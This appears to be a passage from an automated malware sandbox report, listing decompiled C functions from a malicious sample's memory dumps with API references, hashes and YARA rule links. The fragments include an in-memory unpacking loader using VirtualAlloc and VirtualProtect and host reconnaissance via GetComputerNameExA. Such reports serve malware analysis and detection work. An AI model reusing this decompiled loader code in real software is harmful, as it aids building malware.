Opcode ID: 4b8e078af8330c4b3030aa385357f46e7ef312c96e1a1df496a51bbcf7cc9fd8
Instruction ID: a306e78dfd9ef951b4314c0e95a4f3bc24ed3f12ea3fafec24d90fe62fa5e286
Opcode Fuzzy Hash: 4b8e078af8330c4b3030aa385357f46e7ef312c96e1a1df496a51bbcf7cc9fd8
Instruction Fuzzy Hash: 54310A72900119BFCB21DFA5C998CDBBB7AFFC9740B154658F8159B210E731AD91CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 024C6194, Relevance: 3.1, APIs: 2, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E024C6194(signed int __ebx, void* __ecx, signed int __edx, DWORD* __edi, long __esi, void* __eflags) {
				void* __ebp;
				void* _t44;
				long _t45;
				signed int _t49;
				int _t50;
				signed int _t51;
				void* _t55;
				long _t56;
				signed int _t59;
				signed int _t62;
				void* _t63;
				signed int _t64;
				signed int _t69;
				long _t72;
				signed int _t74;
				signed int _t76;
				DWORD* _t80;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t90;
				long _t94;
				void* _t97;
				void** _t99;
				void** _t100;

				_t92 = __esi;
				_t80 = __edi;
				_t69 = __edx;
				 *_t99 =  *_t99 + 0xffff0000;
				 *_t99 =  *_t99 - _t94;
				_t45 = E024C463F(_t44, __ebx, __ecx, __edi, __esi);
				_push(__ecx);
				_t62 = __ebx | __ebx;
				_t59 = _t62;
				_pop(_t63);
				if(_t62 != 0) {
					 *_t99 = 4;
					 *_t99 = 0x1000;
					_t94 =  *_t99;
					 *_t99 =  *(_t59 + 0x41823f);
					_t45 = VirtualAlloc(0, _t94, __esi, _t45);
				}
				 *_t99 =  *_t99 & 0x00000000;
				 *_t99 =  *_t99 | _t45;
				 *_t4 = _t94;
				 *(_t59 + 0x4184cf) = 2;
				 *(_t94 - 8) = _t69;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) & 0x00000000;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) | _t69 & 0x00000000 | _t45;
				_t72 =  *(_t94 - 8);
				if( *(_t59 + 0x4180f7) > 0) {
					_t56 = _t59 + 0x4184cf;
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 | _t56;
					 *_t99 =  *_t99 + 0x40;
					 *_t99 =  *_t99 - _t56;
					_t72 =  *_t99;
					 *_t99 =  *(_t59 + 0x41856b);
					_t92 =  *_t99;
					 *_t99 =  *(_t59 + 0x4180f7);
					VirtualProtect( *_t99, _t72, _t56, _t80);
				}
				_push(_t80);
				 *_t99 =  *(_t59 + 0x418024);
				_push(_t72);
				_t99[1] =  *(_t59 + 0x418633);
				_t74 = _t72;
				 *(_t94 - 8) = E024C4859(_t59, _t63, _t74,  *_t99, _t92);
				_t64 = 0 ^  *(_t59 + 0x41856b);
				_t49 =  *(_t94 - 8);
				 *_t99 = _t94;
				_t83 = 0 ^  *(_t59 + 0x4180f7);
				_t97 = 0;
				 *_t99 =  *_t99 | _t83;
				_t84 = _t83;
				if( *_t99 != 0) {
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 + _t84;
					_t49 = E024C2DF5(_t49, _t59, _t64, _t74, _t92, _t49);
				}
				 *_t99 =  *_t99 ^ _t49;
				_t50 = _t49;
				_t51 = memset(_t84, _t50, _t64 << 0);
				_t100 =  &(_t99[3]);
				_t85 = _t84 + _t64;
				if( *(_t59 + 0x418024) != _t59) {
					_t90 =  *_t100;
					 *_t100 =  *(_t59 + 0x418024);
					_t55 = E024C348F(_t59, 0, _t74, _t90, _t92, _t85); // executed
					_push(_t55);
					_t100[1] =  *(_t59 + 0x418024);
					_t85 = _t90;
					_t51 = E024C4DF5(_t55, _t59, _t74, _t85, _t92);
				}
				_push(_t85);
				_t76 = _t74 & 0x00000000 ^ _t85 & 0x00000000 ^  *(_t59 + 0x418418);
				_t100[5] = _t76;
				 *(_t97 - 4) = _t51;
				 *((intOrPtr*)(_t97 - 8)) = 0;
				 *(_t97 + 4) =  *(_t97 + 4) & 0x00000000;
				 *(_t97 + 4) =  *(_t97 + 4) | 0 | _t76 & 0x00000000 ^ (_t51 & 0x00000000 |  *(_t59 + 0x418418));
				asm("popad");
				return  *(_t97 - 4);
			}

0x024c6194
0x024c6194
0x024c6194
0x024c6195
0x024c619c
0x024c619f
0x024c61a4
0x024c61a7
0x024c61a9
0x024c61ab
0x024c61ac
0x024c61af
0x024c61b7
0x024c61c5
0x024c61c5
0x024c61ca
0x024c61ca
0x024c61d1
0x024c61d5
0x024c61d8
0x024c61de
0x024c61e8
0x024c61f0
0x024c61f7
0x024c61fd
0x024c6207
0x024c6209
0x024c6210
0x024c6214
0x024c6218
0x024c621c
0x024c6226
0x024c6226
0x024c6230
0x024c6230
0x024c6233
0x024c6233
0x024c6239
0x024c6240
0x024c6243
0x024c624b
0x024c624f
0x024c6255
0x024c6260
0x024c6262
0x024c6267
0x024c6272
0x024c6274
0x024c6276
0x024c6279
0x024c627a
0x024c627d
0x024c6281
0x024c6284
0x024c6284
0x024c628a
0x024c628d
0x024c628e
0x024c628e
0x024c628e
0x024c6296
0x024c629f
0x024c629f
0x024c62a2
0x024c62a7
0x024c62af
0x024c62b3
0x024c62b4
0x024c62b4
0x024c62b9
0x024c62c6
0x024c62c9
0x024c62cd
0x024c62e1
0x024c62e9
0x024c62ed
0x024c62f3
0x024c62f5

APIs

VirtualAlloc.KERNELBASE(00000000,?,?,00000000), ref: 024C61CA
VirtualProtect.KERNELBASE(?,?), ref: 024C6233

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction ID: f9da36c67b2ce5ddfd1ca3869afc62e39f86da6043a81d88c8320b0941d93e0c
Opcode Fuzzy Hash: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction Fuzzy Hash: C941F372504604DFEB00DF24C9807AEBBFAEFC8701F1A806DDD888B209DB781440CB29

Uniqueness

Uniqueness Score: -1.00%

Function 1000135A, Relevance: 3.1, APIs: 2, Instructions: 59
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000135A() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0x10004150;
				if( *0x1000412c > 5) {
					_t16 = _t15 + 0x100050f9;
				} else {
					_t16 = _t15 + 0x100050b1;
				}
				E10001FE7(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				if(E10001414( &_v32,  &_v16,  *0x1000414c ^ 0xfd7cd1cf) == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0x10004138);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E1000102F(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t32 = _v36;
						 *_t32 = 0;
						if( *0x10004138 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E1000200D(_t44, _t32 + 4);
						}
					}
					_t25 = E10001E11(_v28); // executed
				}
				ExitThread(_t25);
			}

0x10001360
0x10001371
0x1000137b
0x10001373
0x10001373
0x10001373
0x10001382
0x1000138b
0x10001390
0x100013ae
0x10001405
0x100013b0
0x100013b6
0x100013bc
0x100013ca
0x100013ce
0x100013d5
0x100013d7
0x100013e3
0x100013e5
0x100013f4
0x100013e7
0x100013ed
0x100013ed
0x100013e5
0x100013fc
0x100013fc
0x10001407

APIs

lstrlenW.KERNEL32(?,?,?,?), ref: 100013B6
ExitThread.KERNEL32 ref: 10001407

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ExitThreadlstrlen
String ID:
API String ID: 2636182767-0
Opcode ID: bbc03089cd780e3a685a91eb4c0c862dad5948ab76aa5244e081fc2d8405439e
Instruction ID: 2ce771c5e16d54c3ab671480280001d27b24c2f2c6965729a5a09e13ad1247cb
Opcode Fuzzy Hash: bbc03089cd780e3a685a91eb4c0c862dad5948ab76aa5244e081fc2d8405439e
Instruction Fuzzy Hash: D71149B1908245ABF711DBA4CC899CBB7ECEB483C0F02482AF555D7169EB30E6858B55

Uniqueness

Uniqueness Score: -1.00%

Function 00A154BC, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00A154BC(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E00A12049(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E00A19039(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x00a154c1
0x00a154cc
0x00a154ce
0x00a154d4
0x00a154d6
0x00a154db
0x00a154e4
0x00a154e8
0x00a154f1
0x00a154f5
0x00a15504
0x00a154f7
0x00a154f8
0x00a154fd
0x00a154fd
0x00a154f5
0x00a154e8
0x00a1550d

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,00A1A306,74B5F710,00000000,?,?,00A1A306), ref: 00A154D4

Part of subcall function 00A12049: RtlAllocateHeap.NTDLL(00000000,00000000,00A17E50), ref: 00A12055

GetComputerNameExA.KERNELBASE(00000003,00000000,00A1A306,00A1A307,?,?,00A1A306), ref: 00A154F1

Part of subcall function 00A19039: HeapFree.KERNEL32(00000000,00000000,00A17F18,00000000,?,?,00000000), ref: 00A19045

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: c69865565a80682639586e3dad66b3e3aebf4a081153365005b38594b06f9d23
Instruction ID: 110ba72eeaa15b69675fafdd4da1d3edf3e350e9706f9d66590fe2d506da9b68
Opcode Fuzzy Hash: c69865565a80682639586e3dad66b3e3aebf4a081153365005b38594b06f9d23
Instruction Fuzzy Hash: 0DF05E3AA00549FAEB11D7AA9D01FEF76FEDBC5760F210069A904D3140EA70DF429770

Uniqueness

Uniqueness Score: -1.00%

Function 00A18055, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t14;

				_t14 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0xa1d23c) == 0) {
						E00A1970F();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0xa1d23c) == 1) {
						_t10 = E00A16A56(_t11, _t12, _a4); // executed
						if(_t10 != 0) {
							_t14 = 0;
						}
					}
				}
				return _t14;
			}

0x00a1805c
0x00a1805d
0x00a18060
0x00a18092
0x00a18094
0x00a18094
0x00a18062
0x00a18063
0x00a18078
0x00a1807f
0x00a18081
0x00a18081
0x00a1807f
0x00a18063
0x00a1809c

APIs

InterlockedIncrement.KERNEL32(00A1D23C), ref: 00A1806A

Part of subcall function 00A16A56: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,00A1807D,?), ref: 00A16A69

InterlockedDecrement.KERNEL32(00A1D23C), ref: 00A1808A

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: addeec65f2c66173f7e6d4e986936b02d8451bdcd8655596ea032415b760fb92
Instruction ID: cffa3b52bebf5b398e695fddd2323b3ee80db19015f59b222c9fcbdf0ab14bb8
Opcode Fuzzy Hash: addeec65f2c66173f7e6d4e986936b02d8451bdcd8655596ea032415b760fb92
Instruction Fuzzy Hash: 05E02678A4023BB7C230ABB09C04BDEA612AF1DBC0F048410F68DD10A0CE34CCC486D1

Uniqueness

Uniqueness Score: -1.00%

Function 00A166A0, Relevance: 1.6, APIs: 1, Instructions: 75
memoryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00A166A0(signed int __eax, void* __ecx, intOrPtr* _a4, void** _a8, intOrPtr* _a12) {
				signed int _v5;
				signed int _v12;
				void* _t32;
				signed int _t37;
				signed int _t39;
				signed char _t45;
				void* _t49;
				char* _t51;
				signed int _t65;
				signed int _t66;
				signed int _t69;

				_v12 = _v12 & 0x00000000;
				_t69 = __eax;
				_t32 = RtlAllocateHeap( *0xa1d238, 0, __eax << 2); // executed
				_t49 = _t32;
				if(_t49 == 0) {
					_v12 = 8;
				} else {
					 *_a8 = _t49;
					do {
						_t45 =  *_a4;
						asm("cdq");
						_t65 = 0x64;
						_t37 = (_t45 & 0x000000ff) / _t65;
						_v5 = _t37;
						if(_t37 != 0) {
							 *_t49 = _t37 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t37 * 0x9c;
						}
						asm("cdq");
						_t66 = 0xa;
						_t39 = (_t45 & 0x000000ff) / _t66;
						if(_t39 != 0 || _v5 != _t39) {
							 *_t49 = _t39 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t39 * 0xf6;
						}
						_a4 = _a4 + 1;
						 *_t49 = _t45 + 0x30;
						 *(_t49 + 1) = 0x2c;
						_t49 = _t49 + 2;
						_t69 = _t69 - 1;
					} while (_t69 != 0);
					_t51 = _t49 - 1;
					 *_a12 = _t51 -  *_a8;
					 *_t51 = 0;
				}
				return _v12;
			}

0x00a166a5
0x00a166aa
0x00a166b8
0x00a166be
0x00a166c2
0x00a16733
0x00a166c4
0x00a166c8
0x00a166cb
0x00a166ce
0x00a166d5
0x00a166d6
0x00a166d7
0x00a166db
0x00a166de
0x00a166e5
0x00a166eb
0x00a166ec
0x00a166ec
0x00a166f3
0x00a166f4
0x00a166f5
0x00a166f9
0x00a16705
0x00a1670b
0x00a1670c
0x00a1670c
0x00a1670e
0x00a16714
0x00a16716
0x00a1671b
0x00a1671c
0x00a1671c
0x00a16722
0x00a1672b
0x00a1672d
0x00a16730
0x00a1673f

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 00A166B8

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: aedf1508513f29b3bd7ca1a7f94d24c8cda55e8ecc2378aaf2602335ea9c01ae
Instruction ID: 3e8ec2ed35acd0c883074a56601159ec9117d2f9d617c6fc8a466a04bebe7212
Opcode Fuzzy Hash: aedf1508513f29b3bd7ca1a7f94d24c8cda55e8ecc2378aaf2602335ea9c01ae
Instruction Fuzzy Hash: 0411E9356853449FEB168F29C851BE97BA5DF67368F14408EF440DB392C277894BC760

Uniqueness

Uniqueness Score: -1.00%

Function 00A19318, Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E00A19318(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				short _v20;
				intOrPtr _t15;
				short _t17;
				intOrPtr _t19;
				short _t23;

				_t23 = 0;
				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0xa1d27c; // 0x271a5a8
				_t4 = _t15 + 0xa1e39c; // 0x3138944
				_t20 = _t4;
				_t6 = _t15 + 0xa1e124; // 0x650047
				_t17 = E00A19152(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					if(_v20 != 8) {
						_t23 = 1;
					} else {
						_t19 = E00A19FC9(_t20, _v12);
						if(_t19 == 0) {
							_t23 = 8;
						} else {
							 *_a16 = _t19;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x00a19322
0x00a19324
0x00a1932b
0x00a1932c
0x00a1932d
0x00a1932e
0x00a19334
0x00a19339
0x00a19339
0x00a19343
0x00a19355
0x00a1935c
0x00a1938b
0x00a1935e
0x00a19363
0x00a19388
0x00a19365
0x00a19368
0x00a1936f
0x00a1937a
0x00a19371
0x00a19374
0x00a19374
0x00a1937e
0x00a1937e
0x00a19363
0x00a19392

APIs

Part of subcall function 00A19152: SysFreeString.OLEAUT32(?), ref: 00A19231

Part of subcall function 00A19FC9: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,00A17946,004F0053,00000000,?), ref: 00A19FD2
Part of subcall function 00A19FC9: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,00A17946,004F0053,00000000,?), ref: 00A19FFC
Part of subcall function 00A19FC9: memset.NTDLL ref: 00A1A010

SysFreeString.OLEAUT32(00000000), ref: 00A1937E

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: 11945df55bbf6a26e40b76636338514955ed5a80f4f251bdd845e1f65fd4b6d8
Instruction ID: 3ae998ad568e81936891275c73a3c0a3c06300bca5ee1c2e920c4a1d4d00ef23
Opcode Fuzzy Hash: 11945df55bbf6a26e40b76636338514955ed5a80f4f251bdd845e1f65fd4b6d8
Instruction Fuzzy Hash: DD019A32500029BFDB109FA8CC148EFBBB8EB48750B008A29E961EA0A0D3709995D792

Uniqueness

Uniqueness Score: -1.00%

Function 00A17517, Relevance: 1.5, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00A17517(signed int __eax, void* __ecx, intOrPtr* __esi, void* _a4) {
				char _v8;
				void* _t14;
				intOrPtr _t17;
				void* _t20;
				void* _t26;

				_push(__ecx);
				if(_a4 == 0 || __eax == 0) {
					_t26 = 0x57;
				} else {
					_t14 = E00A166A0(__eax,  &_a4, _a4,  &_a4,  &_v8); // executed
					_t26 = _t14;
					if(_t26 == 0) {
						_t17 =  *0xa1d27c; // 0x271a5a8
						_t9 = _t17 + 0xa1ea58; // 0x444f4340
						_t20 = E00A13FC3( *((intOrPtr*)(__esi + 4)),  *__esi, _t9, _a4, _v8, __esi + 8, __esi + 0xc); // executed
						_t26 = _t20;
						RtlFreeHeap( *0xa1d238, 0, _a4); // executed
					}
				}
				return _t26;
			}

0x00a1751a
0x00a17520
0x00a17577
0x00a17526
0x00a17531
0x00a17536
0x00a1753a
0x00a17547
0x00a1754f
0x00a1755b
0x00a17563
0x00a1756d
0x00a1756d
0x00a1753a
0x00a1757c

APIs

Part of subcall function 00A166A0: RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 00A166B8

Part of subcall function 00A13FC3: lstrlen.KERNEL32(74B5F710,?,00000000,?,74B5F710), ref: 00A13FF7
Part of subcall function 00A13FC3: StrStrA.SHLWAPI(00000000,?), ref: 00A14004
Part of subcall function 00A13FC3: RtlAllocateHeap.NTDLL(00000000,?), ref: 00A14023

RtlFreeHeap.NTDLL(00000000,00000000,?,444F4340,00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00A197E5), ref: 00A1756D

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Allocate$Freelstrlen
String ID:
API String ID: 2220322926-0
Opcode ID: a6d6289a94d1c43cd915ca8f6a60ff283682cd1f940163d58e033dada007b285
Instruction ID: 87e1a586966ab7cea415c011ebffe6e83fa681920b6df7df57cd065ed19ea0c7
Opcode Fuzzy Hash: a6d6289a94d1c43cd915ca8f6a60ff283682cd1f940163d58e033dada007b285
Instruction Fuzzy Hash: 11018176100108FFDB11CF54CD00EEA7BBAEF543A0F108025F95586160E731EA85DB50

Uniqueness

Uniqueness Score: -1.00%

Function 10001FE7, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E10001FE7(void* __eax, intOrPtr _a4) {

				 *0x10004148 =  *0x10004148 & 0x00000000;
				_push(0);
				_push(0x10004144);
				_push(1);
				_push(_a4);
				 *0x10004140 = 0xc; // executed
				L10001BD6(); // executed
				return __eax;
			}

0x10001fe7
0x10001fee
0x10001ff0
0x10001ff5
0x10001ff7
0x10001ffb
0x10002005
0x1000200a

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(10001387,00000001,10004144,00000000), ref: 10002005

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: 797134a9b1f988486b15df9cd10c437d68bca56e1d0ccba6a6193b38078adc0e
Instruction ID: 77fc3a402b1b28792d7a6ab77bf10cd6ea7ed93b7dc72413e294461ac678640d
Opcode Fuzzy Hash: 797134a9b1f988486b15df9cd10c437d68bca56e1d0ccba6a6193b38078adc0e
Instruction Fuzzy Hash: 87C048F8140310ABF620DB019C86FC57AA2B7A4789F224508F200262E8DBB920988A2D

Uniqueness

Uniqueness Score: -1.00%

Function 00A12049, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A12049(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0xa1d238, 0, _a4); // executed
				return _t2;
			}

0x00a12055
0x00a1205b

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,00A17E50), ref: 00A12055

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f43aada4c7352ac9f0c44aa6061050a210d4c4c0ef714763de40b5c994a7faf8
Instruction ID: d9bca3defebdcde67fef7437f688f0b72f1122ae3436ea4e87fdc4256bce8a94
Opcode Fuzzy Hash: f43aada4c7352ac9f0c44aa6061050a210d4c4c0ef714763de40b5c994a7faf8
Instruction Fuzzy Hash: F8B01236440100FBCA01CB80DD04F85BB21AB5C710F00C110B20444070C3714462EB09

Uniqueness

Uniqueness Score: -1.00%

Function 00A16F1D, Relevance: 1.3, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A16F1D(intOrPtr* __eax, void* __ecx, void* __edx, void* _a4, void** _a8) {
				int _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				int _v36;
				char _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char _v68;
				void* _t35;
				void* _t40;
				void* _t49;
				void* _t51;
				int _t57;
				void* _t60;
				void* _t61;

				_t51 = _a4;
				_t57 = 0;
				_t58 = __ecx;
				_v12 = 0;
				_v8 = 0;
				_a4 = 0;
				if(__ecx <= 0x40 ||  *__eax != 0x200) {
					L21:
					return _t57;
				} else {
					_t6 = _t58 - 0x40; // 0xa1681f
					_t55 =  &_v68;
					_t35 = E00A1A7F5(__eax,  &_v68, __edx,  &_v68,  &_v12, _t51 + _t6);
					if(_t35 != 0) {
						goto L21;
					}
					_t59 = __ecx - 0x40;
					if(_v36 > __ecx - 0x40) {
						goto L21;
					}
					while( *((char*)(_t61 + _t35 - 0x30)) == 0) {
						_t35 = _t35 + 1;
						if(_t35 < 0x10) {
							continue;
						}
						_t57 = _v36;
						_t49 = E00A12049(_t57);
						_t70 = _t49;
						_a4 = _t49;
						if(_t49 != 0) {
							_t57 = 0;
							L18:
							if(_t57 != 0) {
								goto L21;
							}
							L19:
							if(_a4 != 0) {
								E00A19039(_a4);
							}
							goto L21;
						}
						memcpy(_t49, _t51, _t57);
						L8:
						_t60 = _a4;
						E00A115FE(_t55, _t70, _t60, _t57,  &_v28);
						if(_v28 != _v68 || _v24 != _v64 || _v20 != _v60 || _v16 != _v56) {
							L15:
							_t57 = 0;
							goto L19;
						} else {
							 *_a8 = _t60;
							goto L18;
						}
					}
					_t40 = E00A16DE4(_t59, _t51,  &_a4,  &_v8,  &_v52, 0); // executed
					__eflags = _t40;
					if(_t40 != 0) {
						_t57 = _v8;
						goto L18;
					}
					_t57 = _v36;
					__eflags = _v8 - _t57;
					if(__eflags >= 0) {
						goto L8;
					}
					goto L15;
				}
			}

0x00a16f24
0x00a16f29
0x00a16f2b
0x00a16f30
0x00a16f33
0x00a16f36
0x00a16f39
0x00a1700d
0x00a17013
0x00a16f4b
0x00a16f4b
0x00a16f54
0x00a16f58
0x00a16f5f
0x00000000
0x00000000
0x00a16f65
0x00a16f6b
0x00000000
0x00000000
0x00a16f71
0x00a16f78
0x00a16f7c
0x00000000
0x00000000
0x00a16f7e
0x00a16f82
0x00a16f87
0x00a16f89
0x00a16f8c
0x00a16ff4
0x00a16ffb
0x00a16ffd
0x00000000
0x00000000
0x00a16fff
0x00a17003
0x00a17008
0x00a17008
0x00000000
0x00a17003
0x00a16f91
0x00a16f99
0x00a16f99
0x00a16fa2
0x00a16fad
0x00a16ff0
0x00a16ff0
0x00000000
0x00a16fc7
0x00a16fca
0x00000000
0x00a16fca
0x00a16fad
0x00a16fdf
0x00a16fe4
0x00a16fe6
0x00a16ff8
0x00000000
0x00a16ff8
0x00a16fe8
0x00a16feb
0x00a16fee
0x00000000
0x00000000
0x00000000
0x00a16fee

APIs

memcpy.NTDLL(00000000,00A1685F,00A173B6,00A173B6,?,00A1685F,00A1681F,00000002,00A1685F,00A1685F), ref: 00A16F91

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: f6f44e9b3d9daf37d9bdd75f1df8b19f953999214f833cc73cda4f5a3976a45e
Instruction ID: 326fe21936875164ed37e4730773bed16a78b92642fea31347ba51be095f9162
Opcode Fuzzy Hash: f6f44e9b3d9daf37d9bdd75f1df8b19f953999214f833cc73cda4f5a3976a45e
Instruction Fuzzy Hash: 06314176904118EBDF22DF99D9809EEB7B9AB58390F104065F916EB141D730DEC6CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 10001E11, Relevance: 1.3, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

